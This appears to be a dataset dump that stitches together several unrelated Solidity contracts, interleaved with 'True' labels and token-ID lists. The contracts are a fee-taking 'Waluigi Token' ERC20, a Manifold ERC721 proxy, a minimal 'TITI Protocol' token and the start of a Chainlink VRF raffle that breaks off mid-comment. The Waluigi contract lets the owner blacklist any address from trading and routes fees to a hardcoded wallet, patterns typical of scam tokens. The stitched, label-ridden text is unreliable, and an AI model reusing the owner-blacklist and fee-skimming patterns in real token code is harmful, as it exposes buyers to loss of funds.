function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WaluigiToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 900000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Waluigi Token";
string private constant _symbol = "Waluigi";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x08c5c839A5328f6Dd1E4c44165d123792f02f443);
_feeAddrWallet2 = payable(0x08c5c839A5328f6Dd1E4c44165d123792f02f443);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 5;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 900000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
True
|
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] |
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Cyber
/// @author: manifold.xyz
import "./ERC721Creator.sol";
////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// //
// //
// //
// //
// //
// //
// .cloc, //
// .lKMMMMNd. //
// cNMXkxKMWd. //
// ,0MWo. :XMX: //
// ..,:cclllcc:;,'..dWM0' .xMMk. //
// .cx0XWWWWWWWWMMWWNXKNMM0:...cNMK; ..',;;;,.. //
// .cKWWKkol:;;;;;:clodkXMMMMWNXKKWMWo. .':loxOKXNWWWWWNO: //
// cNMXo. .oWMKdoxO0NMMMXOOKNWMWXKOxdolldKMM0' //
// .dWMk. .xMMk'':oxXMMMMWMMMMXd,. 'dXMNo. //
// cNMX: .OMMNKNWMWNNWMXdcxKWMNOo,..;xXWWO; //
// .dNMKc. .,lkNMMWXkol:'lXMX; .;o0NMN00NMNk:. //
// .lXMNx, 'cxKWMWMMWd. ;KMX: .cKWMMMMNd. //
// ,kNMXx,.,oONWWKkloXMNc ,KMX:..:d0NMN0dkNMNk, //
// ;kNMNXNMN0o;. '0MNc ;KMW0OXWWXkl,. ,xNMXd. //
// 'dNMMMMMXo. '0MNl ..':kNMMWN0d:. ;0WWO, //
// ,xXWW0olkXWWXkl,.'OMWOox0XNWMMMNd' .kWMO' //
// .dNMNk;. .:xKWMN0OXMMMMNK0kdOWM0' ,0MWl //
// .kWM0:. ...';cd0WMMMMMMMMNOc;'.dWMk. ,0MWo //
// '0MMXOOO0KXNWMWNKOdlckWMMMWWNXKNMM0:... ..;oKWWk' //
// 'ok0000Okxdlc;.. ,KMWOldxOXWMMMWNXK0OOkkkOOKXWMN0l. //
// ... .xMMx. .dWMKdodkO00KKKKK0Oxoc,. //
// cNMX; 'OMWo ...... //
// .xWWO:,dWM0' //
// 'OWWNNWMK: //
// .o0XXKx, //
// .... //
// //
// //
// //
// //
// //
// //
// //
// //
// //
////////////////////////////////////////////////////////////////////////////////////////////
contract CYBER is ERC721Creator {
constructor() ERC721Creator("Cyber", "CYBER") {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
|
True
|
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4859,
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102
] |
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] |
pragma solidity ^0.6.7;
contract Owned {
modifier onlyOwner() {
require(msg.sender==owner);
_;
}
address payable owner;
address payable newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
require(_newOwner!=address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender==newOwner) {
owner = newOwner;
}
}
}
abstract contract ERC20 {
uint256 public totalSupply;
function balanceOf(address _owner) view public virtual returns (uint256 balance);
function transfer(address _to, uint256 _value) public virtual returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public virtual returns (bool success);
function approve(address _spender, uint256 _value) public virtual returns (bool success);
function allowance(address _owner, address _spender) view public virtual returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Token is Owned, ERC20 {
string public symbol;
string public name;
uint8 public decimals;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
function balanceOf(address _owner) view public virtual override returns (uint256 balance) {return balances[_owner];}
function transfer(address _to, uint256 _amount) public virtual override returns (bool success) {
require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(msg.sender,_to,_amount);
return true;
}
function transferFrom(address _from,address _to,uint256 _amount) public virtual override returns (bool success) {
require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[_from]-=_amount;
allowed[_from][msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public virtual override returns (bool success) {
allowed[msg.sender][_spender]=_amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) view public virtual override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract TITIProtocol is Token{
constructor() public{
symbol = "TITI";
name = "TITI PROTOCOL";
decimals = 18;
totalSupply = 1000000000000000000000000;
owner = msg.sender;
balances[owner] = totalSupply;
}
receive () payable external {
require(msg.value>0);
owner.transfer(msg.value);
}
}
|
True
|
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1004,
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19699,
5358,
1006,
4769,
1035,
2013,
1010,
102
] |
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/*
Raffle for first round of level 0 DEGENERATIVE tokens.
see lottery_deafbeef() and lottery_first()
*/
// File @chainlink/contracts/src/v0.8/interfaces/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface LinkTokenInterface {
function allowance(
address owner,
address spender
)
external
view
returns (
uint256 remaining
);
function approve(
address spender,
uint256 value
)
external
returns (
bool success
);
function balanceOf(
address owner
)
external
view
returns (
uint256 balance
);
function decimals()
external
view
returns (
uint8 decimalPlaces
);
function decreaseApproval(
address spender,
uint256 addedValue
)
external
returns (
bool success
);
function increaseApproval(
address spender,
uint256 subtractedValue
) external;
function name()
external
view
returns (
string memory tokenName
);
function symbol()
external
view
returns (
string memory tokenSymbol
);
function totalSupply()
external
view
returns (
uint256 totalTokensIssued
);
function transfer(
address to,
uint256 value
)
external
returns (
bool success
);
function transferAndCall(
address to,
uint256 value,
bytes calldata data
)
external
returns (
bool success
);
function transferFrom(
address from,
address to,
uint256 value
)
external
returns (
bool success
);
}
// File @chainlink/contracts/src/v0.8/[email protected]
contract VRFRequestIDBase {
/**
* @notice returns the seed which is actually input to the VRF coordinator
*
* @dev To prevent repetition of VRF output due to repetition of the
* @dev user-supplied seed, that seed is combined in a hash with the
* @dev user-specific nonce, and the address of the consuming contract. The
* @dev risk of repetition is mostly mitigated by inclusion of a blockhash in
* @dev the final seed, but the nonce does protect against repetition in
* @dev requests which are included in a single block.
*
* @param _userSeed VRF seed input provided by user
* @param _requester Address of the requesting contract
* @param _nonce User-specific nonce at the time of the request
*/
function makeVRFInputSeed(
bytes32 _keyHash,
uint256 _userSeed,
address _requester,
uint256 _nonce
)
internal
pure
returns (
uint256
)
{
return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce)));
}
/**
* @notice Returns the id for this request
* @param _keyHash The serviceAgreement ID to be used for this request
* @param _vRFInputSeed The seed to be passed directly to the VRF
* @return The id for this request
*
* @dev Note that _vRFInputSeed is not the seed passed by the consuming
* @dev contract, but the one generated by makeVRFInputSeed
*/
function makeRequestId(
bytes32 _keyHash,
uint256 _vRFInputSeed
)
internal
pure
returns (
bytes32
)
{
return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed));
}
}
// File @chainlink/contracts/src/v0.8/[email protected]
/** ****************************************************************************
* @notice Interface for contracts using VRF randomness
* *****************************************************************************
* @dev PURPOSE
*
* @dev Reggie the Random Oracle (not his real job) wants to provide randomness
* @dev to Vera the verifier in such a way that Vera can be sure he's not
* @dev making his output up to suit himself. Reggie provides Vera a public key
* @dev to which he knows the secret key. Each time Vera provides a seed to
* @dev Reggie, he gives back a value which is computed completely
* @dev deterministically from the seed and the secret key.
*
* @dev Reggie provides a proof by which Vera can verify that the output was
* @dev correctly computed once Reggie tells it to her, but without that proof,
* @dev the output is indistinguishable to her from a uniform random sample
* @dev from the output space.
*
* @dev The purpose of this contract is to make it easy for unrelated contracts
* @dev to talk to Vera the verifier about the work Reggie is doing, to provide
* @dev simple access to a verifiable source of randomness.
* *****************************************************************************
* @dev USAGE
*
* @dev Calling contracts must inherit from VRFConsumerBase, and can
* @dev initialize VRFConsumerBase's attributes in their constructor as
* @dev shown:
*
* @dev contract VRFConsumer {
* @dev constuctor(<other arguments>, address _vrfCoordinator, address _link)
* @dev VRFConsumerBase(_vrfCoordinator, _link) public {
* @dev <initialization with other arguments goes here>
* @dev }
* @dev }
*
* @dev The oracle will have given you an ID for the VRF keypair they have
* @dev committed to (let's call it keyHash), and have told you the minimum LINK
* @dev price for VRF service. Make sure your contract has sufficient LINK, and
* @dev call requestRandomness(keyHash, fee, seed), where seed is the input you
* @dev want to generate randomness from.
*
* @dev Once the VRFCoordinator has received and validated the oracle's response
* @dev to your request, it will call your contract's fulfillRandomness method.
*
* @dev The randomness argument to fulfillRandomness is the actual random value
* @dev generated from your seed.
*
* @dev The requestId argument is generated from the keyHash and the seed by
* @dev makeRequestId(keyHash, seed). If your contract could have concurrent
* @dev requests open, you can use the requestId to track which seed is
* @dev associated with which randomness. See VRFRequestIDBase.sol for more
* @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind,
* @dev if your contract could have multiple requests in flight simultaneously.)
*
* @dev Colliding `requestId`s are cryptographically impossible as long as seeds
* @dev differ. (Which is critical to making unpredictable randomness! See the
* @dev next section.)
*
* *****************************************************************************
* @dev SECURITY CONSIDERATIONS
*
* @dev A method with the ability to call your fulfillRandomness method directly
* @dev could spoof a VRF response with any random value, so it's critical that
* @dev it cannot be directly called by anything other than this base contract
* @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method).
*
* @dev For your users to trust that your contract's random behavior is free
* @dev from malicious interference, it's best if you can write it so that all
* @dev behaviors implied by a VRF response are executed *during* your
* @dev fulfillRandomness method. If your contract must store the response (or
* @dev anything derived from it) and use it later, you must ensure that any
* @dev user-significant behavior which depends on that stored value cannot be
* @dev manipulated by a subsequent VRF request.
*
* @dev Similarly, both miners and the VRF oracle itself have some influence
* @dev over the order in which VRF responses appear on the blockchain, so if
* @dev your contract could have multiple VRF requests in flight simultaneously,
* @dev you must ensure that the order in which the VRF responses arrive cannot
* @dev be used to manipulate your contract's user-significant behavior.
*
* @dev Since the ultimate input to the VRF is mixed with the block hash of the
* @dev block in which the request is made, user-provided seeds have no impact
* @dev on its economic security properties. They are only included for API
* @dev compatability with previous versions of this contract.
*
* @dev Since the block hash of the block which contains the requestRandomness
* @dev call is mixed into the input to the VRF *last*, a sufficiently powerful
* @dev miner could, in principle, fork the blockchain to evict the block
* @dev containing the request, forcing the request to be included in a
* @dev different block with a different hash, and therefore a different input
